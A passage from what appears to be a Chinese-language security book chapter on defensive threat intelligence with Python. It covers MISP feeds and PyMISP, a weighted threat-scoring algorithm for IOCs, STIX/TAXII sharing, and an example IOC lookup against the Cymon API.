MISP 具有基于 PHP 的前端,可以通过 Web 浏览器访问。它带有许多重要功能。您可以参考原始网站,了解所有这些功能的完整概念:www.misp-project.org/。在本节中,让我们看看一些关键功能,这些功能将让我们了解如何使用 MISP 实施威胁情报并收集 IOCs。
一旦我们登录到门户,我们可以转到源选项卡,查看 MISP 中预先配置的源。值得注意的是,源只是提供 JSON、CSV、XML 或平面文件格式的 IOCs 的基于 Web 的本地来源。MISP 中预先配置了各种源。一旦我们安排了源收集作业,MISP 的中央引擎就会访问所有配置的源,从中提取 IOCs,并将它们放入中央数据库,如下图所示:
如前面的屏幕截图所示,我们可以转到添加源选项卡,并从那里配置更多的源。
在下面的屏幕截图中,我们可以看到从配置的源下载和解析源的中央调度程序。我们可以选择一天、一周或一年中的任何时间,指示我们希望何时下载源。我们还可以配置调度程序重复的频率:
我们将专注于前面截图中的突出显示的行。在第二行,我们有一个fetch_feeds作业。双击频率和计划时间/日期字段可以让我们更改设置。此外,应该注意到前面突出显示的threat_scoring行不是 MISP 的默认安装内容。我们通过修改后端数据库注入了这个(我们在改进部分中介绍了这一点)。
一旦订阅被下载和解析,它们被放置在一个虚拟/逻辑实体中,称为事件。MISP 中的事件可以被视为 IOC 的集合。我们可以为不同的订阅创建单独的事件。或者,我们可以将所有基于 IP 的 IOC 放入单独的事件中,域名等等。以下截图显示了事件集合:
如果我们点击前面截图中任何一个事件的详细信息图标,我们将看到该特定事件实际持有的 IOC。这在以下截图中显示:
MISP API(PyMISP)
如前所述,MISP 配备了一个非常稳定的 API,我们可以通过它在 MISP 中获取事件和被称为属性的 IOC,并与我们的安全工具共享。API 需要设置身份验证密钥。身份验证密钥可以在用户通过 MISP Web 门户登录时找到。这里展示了如何使用 MISP API 从 MISP 后端数据库获取特定事件的详细信息的示例:
MISP API 的完整详情可以在以下链接找到:github.com/MISP/PyMISP/tree/2c882c1887807ef8c8462f582415470448e5d68c/examples。
在前面的代码片段中,我们只是在第 31 行初始化了 MISP API 对象,并调用了get_api API 方法。前面的代码可以按如下方式运行:
如前面的截图所示,我们得到了与1512事件 ID 相关联的所有 IOC。如果我们指定out参数,输出也可以保存在 JSON 文件中。
威胁评分
正如我们之前讨论过的,威胁评分是威胁情报的一个非常重要的部分。通常收集到数百万个 IOC,它们通常包含大量的误报。如果这些信息直接输入到 SIEM 工具中,将导致大量的误报警报。为了解决这个问题,我们尝试编写一个算法,该算法在 MISP 收集的 IOC 之上工作,并为每个 IOC 关联一个威胁评分。这个想法是,在 10 分制上得分为五分或更高的 IOC 更有可能是真正恶意的 IOC,并且应该输入到 SIEM 中。这个算法工作的威胁评分标准如下所示:
-
日期:IOC 的日期占 30%的权重。如果一个 IOC 是一到三个月前的,它将获得 30%的全部 100%,即 3 分。如果是四个月前,它将获得 90%,或 2.9 分,依此类推。完整的细节将在下一节中给出。
-
相关性:IOC 的相关性计数占权重的 54%。我们所说的相关性是指在多个事件或多个数据源中出现的频率。假设我们配置了 30 个数据源,每个数据源的 IOC 都会进入不同的事件,结果就是 30 个事件。现在,如果有一个 IOC 在所有 30 个事件中都出现,这表明该 IOC 极有可能是高度恶意的,因为有 30 个不同的来源引用了它。这个 IOC 将获得相关性分配的整个 54%权重,即 5.4 分。如果一个 IOC 出现在 90%的配置数据源中,它将获得相应数量的分数。相关性权重的实际分配将在以下部分给出。
-
标签:许多 IOC 数据源会使用与其关联的活动类型对 IOC 进行标记,例如扫描、僵尸网络和钓鱼网站。标签所占权重为 15%。需要注意的是,该部分根据与 IOC 关联的标签数量而非标签类型进行工作。标签数量越多,占 15%权重的分数就越高。
-
评论:最后,剩下的 1%分配给标签部分。一些 IOC 也带有特定的评论。如果一个 IOC 有相关评论,它将获得整个 1%,即 0.1 分,如果没有,它在这一部分将获得 0 分。
威胁评分加权文件
这些标准并未硬编码在程序逻辑中,而是在 JSON 文件中配置,以便用户可以随时更改它们,代码将获取更新后的值并相应地分配分数。我们在 JSON 文件中设置了以下值:
如前面的截图所示,标签的权重为 15%。这在 8-12 行进一步分配。第 8 行表示任何具有最少五个标签和最多 10,000 个标签的 IOC 将获得整个 15%。第 9 行表示任何具有四个标签的 IOC 将获得 15%的 90%,依此类推。
日期也有类似的分配。最多 30 分,任何 0 到 90 天的 IOC 都将获得整个 30 分的 100%,即 3 分。任何 91-100 天的 IOC 将获得 30 分的 90%,即 2.7 分,依此类推。
相关性的权重为 54%,如下截图所示。在相关性的情况下,权重的分配有些不同。第 41 行的数字 35 并不表示绝对数量,而是一个百分比。这意味着在配置的总数据源中,如果一个 IOC 在 35%的数据源或事件中被发现,那么它应该获得整个 5.4 分。其他行可以类似地解释。
最后,还有 1%的权重分配给 IOC 是否带有任何评论:
威胁评分算法
看一下我们编写的以下代码,用于对 MISP IOC 集合进行威胁评分。完整的代码可以在以下链接找到:github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python:
让我们试着理解到目前为止编写的代码。这段代码利用了我们在本书中学到的概念。其想法是从 MISP attributes后端表中读取所有 IOCs,并根据之前讨论的逻辑为每个 IOCs 赋予威胁分数。现在,有数百万个属性,所以如果我们尝试按顺序读取它们并对它们进行评分,将需要很长时间。这就是 Python 在多进程方面的优势所在。我们将读取所有属性,并根据底层机器的处理器核心将属性分成相等的块。每个处理器核心将一次性处理一个块。它还将为属于该块的 IOCs 分配威胁分数。我使用的硬件具有 8GB 的 RAM 和 4 核处理器。
假设我们总共有 200 万个属性,这些属性将被分成四个块,每个块将包含 50 万个属性。评分过程将由专用处理器核心在该块上执行。如果对 200 万个块进行顺序操作需要 4 小时,那么多进程方法将需要 1 小时。在 40 和 51 行之间编写的逻辑负责确定我们将使用的块的总数。它还包含推断块大小的逻辑,如下截图所示:
应该注意的是,在第 5 行导入的模块from DB_Layer.Misp_access import MispDB代表一个名为MISPDB的自定义类,声明在MISP_access.py模块中。该类具有从misp数据库中提取数据的原始 SQL 代码。
在 54 和 56 行之间,我们将块放入一个名为limit_offset的自定义列表中。假设我们在后端数据库表中有 200 万个属性。在第 56 行之后,该列表将更新如下:
limit_offset=[{"offset":0,"limit":500000},{"offset":500000,"limit":500000},{"offset":1000000,"limit":500000},{"offset":1500000,"limit":500000}]
在 61 和 64 行之间,我们为每个块调用一个单独的进程。进程将执行的方法是StartProcessing(),我们将当前块作为参数传递。在剩余的 69-97 行中,我们正在更新状态以将状态代码返回给调用UpdateThreatScore()方法的代码。让我们来看一下处理器核心执行的方法:
以下代码的核心逻辑位于第 186 行,代码接受当前块并调用self.Scoring()方法。该方法通过组合每个属性的标签、相关性、日期和注释威胁分数产生威胁分数。最后,一旦获得累积分数,它将更新后端threat_scoring数据库表。这在下面的片段中显示:
如图所示,Scoring()方法在 130-133 行下进一步调用四种不同的方法。它将分数总结并将其推送到数据库表中。让我们看一下它调用的四种方法:
如下截图所示,所有四种方法都从 JSON 文件中读取配置值,并将它们传递给一个名为ComputeScore的公共方法,该方法最终根据传递的配置值计算分数并返回计算出的分数:
以下代码将所有部分连接在一起并返回计算出的分数。该代码将在单独的处理器核心上并行调用所有块:
最后,我们将创建该类的对象并调用Update方法,如下所示:
ob=ThreatScore()
ob.UpdateThreatScore()
执行代码
整个代码可以在以下 GitHub 存储库中找到,github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python,并且可以按如下方式调用:
python3.6 TS.py
该代码将所有执行和调试消息放入一个log文件中,该文件将自动在相同的文件夹中创建,并称为TS.log。一旦代码成功执行,它将具有以下内容:
当代码执行时,有四个并行的读/写操作在数据库上执行,因为每个处理器核心将分别读取和写入。如下图所示:
可以看到,有四个名为misp的用户帐户正在尝试同时从数据库中读取和写入。
以下屏幕截图表示了威胁评分表的架构:
以下屏幕截图显示了 IOC 的威胁评分。
以下屏幕截图显示了一些 IP 地址:
STIX 和 TAXII 和外部查找
STIX 和 TAXII 术语在威胁情报领域中经常被使用。我们将尝试使用以下示例来理解它是什么。
假设我们有一个名为 A 的组织,它拥有大量的威胁情报数据。数据来自外部源以及内部威胁情报数据。组织 A 是一家银行组织,使用平台 X 来存储和管理他们的威胁情报数据。现在,组织 A 希望通过与银行部门中的其他组织(如 B 和 C 组织)共享他们的威胁情报数据来帮助银行社区。他们也希望其他组织也分享他们的数据。问题是,虽然组织 A 使用平台 X 来管理他们的威胁情报数据,但组织 B 和 C 使用完全不同的平台。那么组织 A 如何与 B 和 C 分享其情报呢?这就是 STIX 和 TAXII 派上用场的地方。
STIX 和 TAXII 通过提供一个使用通用格式存储和检索情报的平台来解决威胁情报共享的问题。例如,如果组织 X 需要使用属于组织 Y 的网站,它们将通过组织 Y 使用的 Web 服务器上的 HTTP/HTTPS 协议进行。 HTTP 是由 Web 服务器提供的基于 Web 的信息的通信模式。同样,STIX 是用于交换威胁情报数据的协议,并由称为 TAXII 服务器的服务器提供。TAXII 服务器能够理解 STIX 内容并将其提供给客户端。在细粒度上,STIX 的内容只是一个 XML 文档,它以一定的方式格式化,并带有符合 STIX 格式的特定标记,以便 TAXII 服务器能够理解。这意味着所有使用 TAXII 服务器的组织都将能够在 STIX 协议下共享威胁情报数据。
MISP 还具有与 TAXII 服务器集成的能力。通过 TAXII 服务器在 MISP 中共享的内容被放置在 TAXII 服务器的数据库中,以及在 MISP 数据库中。要获取有关 MISP 和 TAXII 服务器集成的完整详细信息,请参阅官方网址:github.com/MISP/MISP-Taxii-Server。
TAXII 服务器有用 Python 编写的客户端,这使得集成无缝且非常容易。就像市场上有不同的 Web 服务器,例如 Apache、nginx 和 Tomcat 一样,TAXII 服务器有一些不同的实现,包括以下内容:
我们可以在官方 GitHub 存储库中了解每个的功能。了解哪些实现具有哪些功能对您将会很有用。
外部查找
有许多付费和开源的外部查找网站暴露了获取有关 IOC 信息的 API。其中一些最著名的包括以下内容:
-
IPvoid:
www.ipvoid.com/ -
URLvoid:
www.urlvoid.com/ -
Threat Miner:
www.threatminer.org/ -
Threatcrowd:
www.threatcrowd.org/
其中许多都暴露了 API,可以完全自动化 IOC 查找的过程。例如,让我们看一下通过 Cymon 暴露的 API 自动化 IOC 查找的以下代码片段:
import requests
from urllib.parse import urljoin
from urllib.parse import urlparse
cymon_url='https://api.cymon.io/v2/ioc/search/'
type_="ip-src"
ip="31.148.219.11"
if type_ in ["ip-src","ip-dst","domain|ip","ip-dst|port","ip-src|port","ip"]:
cymon_url=urljoin(cymon_url,"ip/")
cymon_url=urljoin(cymon_url,ip)
response = requests.get(cymon_url, data={}, headers=headers)
print(response)
我们可以在这些网站上搜索并阅读 API 文档,以便自动化 IOC 针对这些网站的查找过程。
总结
在本章中,我们探讨了 Python 在防御安全中的用途。应该注意的是,我们只捕捉了 Python 在防御安全中的一小部分用途。还有许多其他用途,包括编排、自动化重复任务、开发将 IDS/IPS 签名与 Qualys/Nessus CVE 相关联的脚本。本章奠定了 Python 的用途基础,我鼓励读者进行进一步研究。
在下一章中,我们将看到一些其他常见的网络安全用例,其中 Python 非常方便。
问题
-
我们如何进一步改进威胁评分算法?
-
我们能否使用先前讨论过的威胁评分代码与基于 Python 的调度程序?